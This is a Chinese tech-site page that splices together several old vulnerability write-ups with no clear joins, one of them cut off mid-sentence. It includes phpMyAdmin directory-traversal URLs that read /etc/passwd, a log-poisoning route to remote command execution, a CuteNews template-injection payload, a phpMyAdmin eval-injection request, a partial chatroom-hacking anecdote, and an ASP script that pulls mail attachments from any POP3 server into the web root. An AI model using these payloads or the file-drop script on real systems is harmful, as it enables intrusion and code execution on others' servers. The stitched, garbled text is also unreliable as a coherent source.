首页 > 编程技术 > php

phpMyAdmin2.1.0存在两个漏洞

发布时间:2016-11-25 15:27

phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 数据库的 PHP 工具,具有基于 WEB 的界面。但是发现它存在漏洞。可选择安装新发布稳定版本:
phpMyAdmin 2.2.0。
1、目录遍历漏洞
攻击者通过提供如下的 URL:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/passwd&btnDrop=No (*)
http://www.example.com/phpMyAdmin/tbl_replace.php?db=test&table=ess&goto=/etc/passwd
能非法访问系统文件
有问题的代码在:
‘include($goto);‘ in sql.php and in tbl_replace.php.
2、执行攻击者代码漏洞
通过使用全局可写日志文件,攻击者能在受影响服务器上执行任意代码。
首先,得到 Apache 配置文件以便知道日志文件存储位置:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/access.conf&btnDrop=No
可以看出,日志放在:
/var/log/httpd/error_log
/var/log/httpd/access_log
然后 telnet 到 端口80
# telnet www.example.com 80
Trying xxx.xxx.xxx.xxx...
Connected to www.example.com.
Escape character is ‘^]‘.
GET
^]
telnet> quit
Connection closed.
#
在 GET 请求之后,攻击者能将任意 PHP 代码上传
现在,可以用 Apache 用户身份远程运行命令了:
http://www.example.com/phpMyAdmin/sql.php?goto=/var/log/httpd/
access_log&btnDrop=No?meters=ls%20-l%20/
受影响系统:
phpMyAdmin 2.1.0
解决方案:
建议:
1.使用 phpMyAdmin 2.2.0
http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.0-php.tar.gz
2.用户下载安装补丁:
http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff
摘自:52w.net

网友“小好”给我了一个聊天室ip,让我去看看。原本想入侵它的服务器,大概技术没到家,搞了十几分钟,也没有进去。于是,我就想找找这个聊天室有什么BUG。聊天室看得出是用PHP+MySQL组建的。栏目有:用户注册、 忘记密码、 修改资料、 用户自杀、 聊 神 榜、 聊天说明、 刷新列表 。接着就是聊天了。
我随便注册了一个用户名,按照我的喜好,喜欢开xxxxxx用户,这样,我就用xxxxxx注册了一个用户。登陆进去。
从哪儿下手呢?我想还是先看看修改资料,一般聊天室这里总有这样那样的漏洞。点了一下修改资料,于是就进入下一画面,需要输入用户名和秘密。输好了后,下一步,进入资料修改。YES!资料修改中有用户昵称,其实就是用户名,马上查看源文件,看到如下的HMTL语句:
=================================================cut===========
<form name="ezchat" action="modifyed.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="active" value="change">
<input type="hidden" name="user_name" value="xxxxxx">
<input type="hidden" name="user_passwd_t" value="xxxxx">
<table cellspacing=1 cellpadding=2 width="675" border=0 align=center bgcolor="#FFFFFF">
<tr align=center bgcolor="#FFD193">
<td colspan="4" height="22">用户资料</td>
</tr>
<tr align=center bgcolor="#FFEACE">
<td width="20%" height="22">
<div align="left">用户昵称:<font color="#FF0000"><b>*</b></font></div>
</td>
<td width="30%" height="22">
<div align="left">
<input type="text" name="user_name_1" readonly class="input" value="xxxxxx">
</div>
</td>
==========================================end==================
Cutenews是一款功能强大的新闻管理系统,使用平坦式文件存储。
Cutenews在处理用户提交的请求参数时存在漏洞,远程攻击者可能利用此漏洞在主机上执行任意命令。
在管理帐号编辑模板文件的时候,CuteNews不能正确的过滤用户输入。CuteNews从Web表单中获取HTML代码并将其输出到名为<templatename>.tpl的模板文件中。该模板文件包含有类似以下的PHP代码:
--snip--
<?PHP
$template_active = <<<HTML
[HTML template code]
HTML;
$template_full = <<<HTML
[HTML template code]
HTML;
?>
--snap--
输入以下模板脚本:
--snip--
HTML;
[PHP code]
$fake_template = <<<HTML
--snap--
管理帐号就可以执行PHP代码,导致在本地系统执行shell命令。
<*来源:John Cantu (
涉及程序:
phpMyAdmin
描述:
phpMyAdmin远程PHP代码注入漏洞
&nbsp;
详细:
phpMyAdmin是一个免费工具,为管理MySQL提供了一个WWW管理接口。
phpMyAdmin存在PHP代码注入问题,远程攻击者可以利用这个eval()函数执行任意PHP命令。
不过此漏洞只有当$cfg[‘LeftFrameLight‘]变量(config.inc.php文件)设置成FALSE时才有用。
phpMyAdmin在($cfg[‘Servers‘][$i])数组变量中存储多个服务器配置,这些配置包含在config.inc.php文件中,信息包括主机、端口、用户、密码、验证类型等,但是由于$cfg[‘Servers‘][$i]没有进行初始化,允许远程用户通过GET函数增加服务器的配置,如提交如下请求增加配置:
http://target/phpMyAdmin-2.5.7/left.php?server=4&amp;cfg[Servers][host]=202.81.x.x&amp;cfg[Servers][port]=8888&amp;cfg[Servers][user]=alice ..
而eval()函数中的$eval_string字符串允许执行PHP代码,攻击者可以增加服务器配置和提交特殊构建的表名,可导致包含的恶意PHP代码被执行。
受影响系统:
phpMyAdmin phpMyAdmin 2.5.7
&nbsp;
攻击方法:
暂无有效攻击代码
&nbsp;
解决方案:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpmyadmin.net

本文作者:kEvin1986
文章性质:原创
发布日期:2005-08-14
 

<%
  ‘codz by kEvin1986
  User=Request.Form("User")
  Pass=Request.Form("Pass")
  Popserver=Request.Form("Popserver")
  if User<>"" and Pass<>"" and Popserver<>"" then
    Set objmail = CreateObject( "JMail.POP3" )
    objmail.Connect User, Pass, Popserver
    set objmsg=CreateObject("jmail.message")
    Set objmsg = objmail.Messages.item(1)
    separator = ", "
    response.write "Attachment Name is: " & SaveAtta & "<br>"
    objmail.Disconnect
  End if
  Function SaveAtta()
    Set Attachments = objmsg.Attachments
    separator = ", "
    response.write "The size of this Attachment is: " & objmsg.size & "<br>"
    For i = 0 To Attachments.Count - 1
    If i = Attachments.Count - 1 Then
      separator = ""
    End If
    Set Theatta = Attachments(i)
    response.write Theatta.name
    Theatta.SaveToFile(Server.Mappath(".") & "" & Theatta.name)
    Response.write "Oh!Hey Guy.....That‘s OK!"
    Next
  End Function
%>


标签:[!--infotagslink--]

您可能感兴趣的文章: